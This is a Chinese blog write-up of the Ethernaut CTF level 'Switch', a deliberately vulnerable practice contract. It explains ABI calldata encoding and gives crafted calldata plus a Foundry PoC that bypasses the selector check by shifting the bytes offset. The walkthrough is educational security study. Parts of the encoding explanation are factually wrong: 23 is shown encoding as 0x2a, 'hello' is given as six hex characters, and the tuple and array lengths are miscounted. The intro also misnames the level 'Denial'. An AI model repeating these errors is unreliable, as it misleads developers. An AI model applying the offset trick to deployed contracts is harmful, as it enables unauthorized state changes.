Ethernaut 题解 - Switch

  • Lori
  • 更新于 2024-03-08 11:48
  • 阅读 318

通过破解 Ethernaut - Denial 来了解CALLDATA,该合约非常简单,旨在学习。

Ethernaut Solutions

on my Github 我通过破解 Ethernaut CTF 学习了智能合约漏洞,对合约进行了安全分析,并提出了相应的安全建议,以帮助其他开发者更好地保护他们的智能合约,鉴于网络上教程较多,我着重分享1~19题里难度四星以上以及20题及以后的题目。

About Ethernaut

  • Ethernaut 是由 Zeppelin 开发并维护的一个平台,上面有很多包含了以太坊经典漏洞的合约,以类似 CTF 题目的方式呈现给我们。每个挑战都涉及到以太坊智能合约的各种安全漏洞和最佳实践,并提供了一个交互式的环境,让用户能够实际操作并解决这些挑战。Ethernaut 不仅适用于新手入门,也适用于有经验的开发者深入学习智能合约安全。
  • 平台网址:https://ethernaut.zeppelin.solutions/

Switch合约分析

攻击分析

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Switch {
    bool public switchOn; // switch is off
    bytes4 public offSelector = bytes4(keccak256("turnSwitchOff()"));

     modifier onlyThis() {
        require(msg.sender == address(this), "Only the contract can call this");
        _;
    }

    modifier onlyOff() {
        // we use a complex data type to put in memory
        bytes32[1] memory selector;
        // check that the calldata at position 68 (location of _data)
        assembly {
            calldatacopy(selector, 68, 4) // grab function selector from calldata
        }
        require(
            selector[0] == offSelector,
            "Can only call the turnOffSwitch function"
        );
        _;
    }

    function flipSwitch(bytes memory _data) public onlyOff {
        (bool success, ) = address(this).call(_data);
        require(success, "call failed :(");
    }

    function turnSwitchOn() public onlyThis {
        switchOn = true;
    }

    function turnSwitchOff() public onlyThis {
        switchOn = false;
    }

}

合约里有3个public函数,分别是flipSwitchturnSwitchOnturnSwitchOff,前一个函数被onlyOff修饰,后两个函数被onlyThis修饰。 turnSwitchOnturnSwitchOff是修改开关状态的,这两个函数都被onlythis修饰,该修饰符逻辑比较简单,就是确保了函数只能被合约本身调用,也就是说, flipSwitch 是我们唯一可以调用的函数。

    function flipSwitch(bytes memory _data) public onlyOff {
        (bool success, ) = address(this).call(_data);
        require(success, "call failed :(");
    }

可以看到这个函数的逻辑,通过修饰符onlyOff对调用数据的执行检查,之后调用了address(this).call(_data)address(this).call(_data)的作用是执行_data中的代码,返回执行结果,并进行检查。 接着来看onlyOff修饰符,

modifier onlyOff() {
        // you can use a complex data type to put in memory
        bytes32[1] memory selector;
        // check that the calldata at position 68 (location of _data)
        assembly {
            calldatacopy(selector, 68, 4) // grab function selector from calldata
        }
        require(
            selector[0] == offSelector,
            "Can only call the turnOffSwitch function"
        );
        _;
    }

修饰符检查使用 assembly 指令来从 _data 中提取函数选择器,使用 calldatacopy 指令将 把 calldata 从位置 68 开始的 4 个字节复制到 selector 数组中,随后检查 selector 数组中的第一个元素是否等于 offSelector(即turnOffSwitch函数的选择器)。如果匹配,那么函数将被调用,否则将引发错误。onlyOff 修饰符确保了flipSwitch 在后续执行只能调用turnSwitchOff 。目的是防止恶意用户或其他智能合约非法地调用。 这真的没问题吗,我们先来看看 CALLDATA 是怎么编码的。

CALLDATA 编码

Reversing The EVM: Raw Calldata有较为详细的介绍,官方文档也有,我主要介绍CALLDATA编码的要点,举个例子, Calldata是我们发送给函数的编码参数,在这里是发送给以太坊虚拟机(EVM)上的智能合约。每块calldata有32个字节长(或64个字符)。有两种类型的calldata:静态和动态。

  1. 静态Calldata 编码要点

    • 6种类型:uint-s, int-s, address, bool, bytes-n, tuples

      uint-s:无符号整数类型的编码方式是将其视为一个 256 位的二进制数,然后将每个字节转换为十六进制表示。例如,一个 uint256 类型的变量会被编码为 32 个十六进制字符。

      int-s:有符号整数类型的编码方式与无符号整数类似,但会添加一个符号位。如果值为负,符号位为 1,否则为 0。

      address:地址类型会被编码为 20 个十六进制字符,通常表示为一个 160 位的二进制数。

      bool:布尔类型会被编码为 '0x01' 或 '0x00',表示 True 或 False。

      bytes-n,:字节类型会被编码为 n 个十六进制字符,其中 n 是字节的长度。

      tuples:元组类型的编码方式取决于其元素类型和数量。对于固定长度的元组,每个元素会被编码为固定长度的十六进制字符,然后将它们连接在一起。例如,一个 (uint256,address) 元组会被编码为 64 个十六进制字符(32 个字符表示 uint256 类型的值,20 个字符表示 address 类型的值)。

    • 以上类型都是以十六进制表示的表示形式,用零填充以覆盖 32 字节的插槽。这意味着,无论实际值的大小如何,这些类型的 calldata 表示都将占用 32 字节。
    • 例如,
      输入: 23 (uint256)
      输出: 0x000000000000000000000000000000000000000000000000000000000000002a
  2. 动态Calldata 编码要点

    • 3种类型:string, bytes and arrays string:字符串类型的 calldata 编码方式是将字符串视为一个字节数组,然后对每个字节进行十六进制编码。例如,一个字符串 "hello" 会被编码为 6 个十六进制字符:'68656c6c6f'。

      bytes:字节类型的 calldata 编码方式与字符串类型类似,也是将字节数组视为一个字节数组,然后对每个字节进行十六进制编码。例如,一个字节数组 [0x01, 0x02, 0x03] 会被编码为 6 个十六进制字符:'010203'。

      arrays:数组类型的 calldata 编码方式取决于其元素类型和数量。对于固定长度的数组,每个元素会被编码为固定长度的十六进制字符,然后将它们连接在一起。例如,一个 uint256[3] 类型的数组 [1, 2, 3] 会被编码为 64 个十六进制字符(32 个字符表示 uint256 类型的值,20 个字符表示数组的长度)。

    • 对于动态类型的 calldata 编码,前 32 字节用于存储偏移量(offset),接下来的 32 字节用于存储长度(length),然后是用于存储值的区域。

    • 例如,对字符串的编码,前32个字节代表偏移量,也就是20的,也就是十进制的32。所以我们从000000000000000000000000000000000000000000000020开始跳过32字节,把我们带到下一行,十六进制为0c,十进制为12,代表我们的字符串的字节长度。现在,当我们把48656c6c6f20576f726c6421转换为字符串类型时,会返回我们的原始值。

      输入:string 'Hello World!'
      输出: 0x
      0000000000000000000000000000000000000000000000000000000000000020
      000000000000000000000000000000000000000000000000000000000000000c
      48656c6c6f20576f726c64210000000000000000000000000000000000000000
      
      对此进行解析,
      offset: 0000000000000000000000000000000000000000000000000000000000000020
      
      length( 12 bytes  = 12 chrs):000000000000000000000000000000000000000000000000000000000000000c
      
      value("Hello World!" in hex):48656c6c6f20576f726c64210000000000000000000000000000000000000000
  3. 动态与静态结合 我举Reversing The EVM: Raw Calldata的例子,不难理解

      pragma solidity 0.8.17;
      contract Example {
          function transfer(uint256[] memory ids, address to) external;
      }
     输入:调用合约Transfer,并传入参数 ids: ["1234", "4567", "8910"],to: 0xf8e81D47203A594245E36C48e151709F0C19fBe8
     输出:0x8229ffb60000000000000000000000000000000000000000000000000000000000000040000000000000000000000000f8e81d47203a594245e36c48e151709f0c19fbe8000000000000000000000000000000000000000000000000000000000000000300000000000000000000000000000000000000000000000000000000000004d200000000000000000000000000000000000000000000000000000000000011d700000000000000000000000000000000000000000000000000000000000022ce
    
    对此进行解析,
      0x
      // 函数选择器 (`transfer(uint[], address)`)
      8229ffb6
      // `uint256[] ids` 参数数组偏移 (64-bytes below from start of this line)
      0000000000000000000000000000000000000000000000000000000000000040
      // `address to` param
      000000000000000000000000f8e81d47203a594245e36c48e151709f0c19fbe8
      // `ids` 数组长度: 3 
      0000000000000000000000000000000000000000000000000000000000000003
      // 第一个参数 `ids` 元素
      00000000000000000000000000000000000000000000000000000000000004d2
      // 第二个参数 `ids` 元素
      00000000000000000000000000000000000000000000000000000000000011d7
      // 第三个参数 `ids` 元素
      00000000000000000000000000000000000000000000000000000000000022ce
      请注意,数组参数是由一个偏移量来代表数组的开始位置。然后我们转到第二个参数,地址类型,然后完成数组类型。

    接着分析Swith合约

    ok,我们了解了calldata编码格式,根据onlyOff修饰符检查要求 calldata 从位置 68 开始的 4 个字节要与turnOffSwitch函数的选择器相等,就能通过检查

    // 函数选择器 FlipSwitch(_data)的
    30c13ade
    // bytes memory _data 偏移量,我们可以利用的地方
    00000000000000000000000000000000000000000000000000000000000000xx
    0000000000000000000000000000000000000000000000000000000000000000
    // turnSwitchOff()的函数选择器:xxxxxxxx 满足条件通过检查
    xxxxxxxx00000000000000000000000000000000000000000000000000000000
    // 我们可以利用的地方
    0000000000000000000000000000000000000000000000000000000000000000    --> 1
    0000000000000000000000000000000000000000000000000000000000000000    --> 2

    首先,利用 cast 将三个函数选择器的calldata解析出来:

  4. FlipSwitch(bytes memory _data) — 0x30c13ade
  5. TurnSwitchOff() — 0x20606e15
  6. TurnSwitchOn() — 0x76227e12 我们可以指定 calldata 的起始偏移量,也就是说我们可以通过指定bytes memory _data的偏移量,让真正的_data从96 bytes开始存储,并在对应的位置输入我们真正想调用的函数选择器TurnSwitchOn(),实时攻击的CALLDATA完整如下,
    // 函数选择器 FlipSwitch(_data)的
    30c13ade
    // bytes memory _data 偏移量 96
    0000000000000000000000000000000000000000000000000000000000000060
    0000000000000000000000000000000000000000000000000000000000000000
    // turnSwitchOff()的函数选择器:xxxxxxxx 满足条件通过检查
    20606e1500000000000000000000000000000000000000000000000000000000
    // _data长度
    0000000000000000000000000000000000000000000000000000000000000004
    // turnSwitchOn()的函数选择器
    76227e1200000000000000000000000000000000000000000000000000000000  

    之后通过 call 调用实现攻击。

    Proof of Concept

    根据以上分析,完整的 PoC 代码如下:

    
    interface ISwitch {
    function flipSwitch(bytes memory _data) external;
    function switchOn() external returns (bool);
    }

contract SwitchTest is BaseTest {

function test_Attack() public {

    bytes memory data = hex'30c13ade0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000020606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000';

    vm.prank(deployer);
    contractAddress.call(data);

    require(ISwitch(contractAddress).switchOn() == true, "Switch is not on");
}

}


## 安全建议
1. Call函数自由度过大,应谨慎使用作为底层函数,对于一些敏感操作或权限判断函数,不应轻易将合约自身的账户地址作为可信的地址。
2. 对传入的参数进行验证,确保传入的参数符合预期,防止恶意攻击者通过构造不合法的参数来执行恶意操作。
3. 使用权限控制机制,如访问控制列表(ACL)或角色based权限控制,来限制对其他合约函数的调用。
点赞 1
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
Lori
Lori
0x3F3c...Dc2F
江湖只有他的大名,没有他的介绍。